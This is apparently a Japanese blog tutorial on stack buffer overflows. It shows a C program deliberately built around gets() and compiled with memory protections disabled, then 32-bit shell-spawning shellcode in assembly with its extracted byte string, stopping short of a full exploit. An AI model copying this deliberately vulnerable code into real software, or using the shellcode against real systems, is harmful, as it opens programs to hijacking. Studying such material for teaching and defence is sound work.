見出し画像

#49 BOF

猫と遊んでいたら遅くなってしまいました。まだ小さい頃は甘えてばかりいたのに、最近はツンツンしています。大人になった証でしょうか。

 Buffer Overflowは、用意された領域外にデータが書き込まれてしまう脆弱性です。プログラムがクラッシュするだけならまだいいですが、場合によっては任意コードの実行や権限昇格につながってしまうので注意が必要です。 CやC++は、言語として対策がされていないので、プログラムを書くときに気をつけなければいけません。

目標

 Buffer Overflowで遊ぶ。

Cで、意図的に脆弱性を作り込んだプログラムを書きました。


作業

BOF脆弱性のあるプログラム

 Cで使われる「gets」関数は、ユーザーからの入力を受け取り、事前に用意した領域に格納します。このとき、入力値が格納領域より大きいとBuffer Overflowが発生します。

test.c

#include <stdio.h>

int main(int argc, char *argv[])
{
    char buf[10];

    printf("Enter: ");
    gets(buf);
    printf("%s\n", buf);

    return 0;
}

コンパイルします。

$ gcc -m32 -fno-stack-protector -no-pie -zexecstack -o test test.c
test.c:(.text+0x34): warning: the `gets' function is dangerous and should not be used.

「gets」は使わないように、と警告してくれていますが無視します。


実行してみる

 それでは実際に動かしてみましょう。

$ ./test
Enter: AAAAAAAAAAA
AAAAAAAAAAA
Segmentation fault (core dumped)

 格納領域が🔟文字分しか用意されていないところに、11文字のAを入力したため、エラーが発生してしまいました。"Segmentation fault"は、メモリの書き換えなどによって、正常に処理が実行できなくなったときに発生するエラーです。

 それでは、ここに丁寧に作り込んだ入力値を受け渡したらどうなるでしょうか?つまり、メモリを破壊しないまま、悪いことをするようにプログラムを書き換えたらどうなるでしょう。


SHELLCODE

 Buffer Overflowにつけこむ手段として、ShellCodeが利用されることがあります。ShellCodeとは、脆弱性を利用してコマンドシェルを開くためのコードです。コマンドシェルが開ければ好き放題できるので、あえてそうする必要はないのですが、原理的には思い通りの処理を実行させることができます。

 アセンブリでShellCodeを書いてみました。

shell.asm

[SECTION .text]
global _start
_start:
        xor eax, eax
        push eax
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp 
        mov ecx, eax
        mov edx, eax
        mov al, 0xb
        int 0x80

コンパイルします。

$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o

完成したバイナリファイルからバイト列を取り出します。

$ for i in $(objdump -d shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80


さて、準備が整いました。あとは、作ったShellCodeを、Buffer Overflowを利用してプログラム内に埋め込み、実行するだけです。

…が、これ以上の解説は不要でしょう。どのように脆弱性が悪用できるか、ご理解いただけたと思います。


まとめ

 BOFは、古くからある脆弱性で様々な対策方法がありますが、いまだなくなりません。スタックを利用するか、ヒープを使うかなど攻撃方法も多種多様です。もっと知見を深めて、共有していきます。

EOF

この記事が気に入ったらサポートをしてみませんか?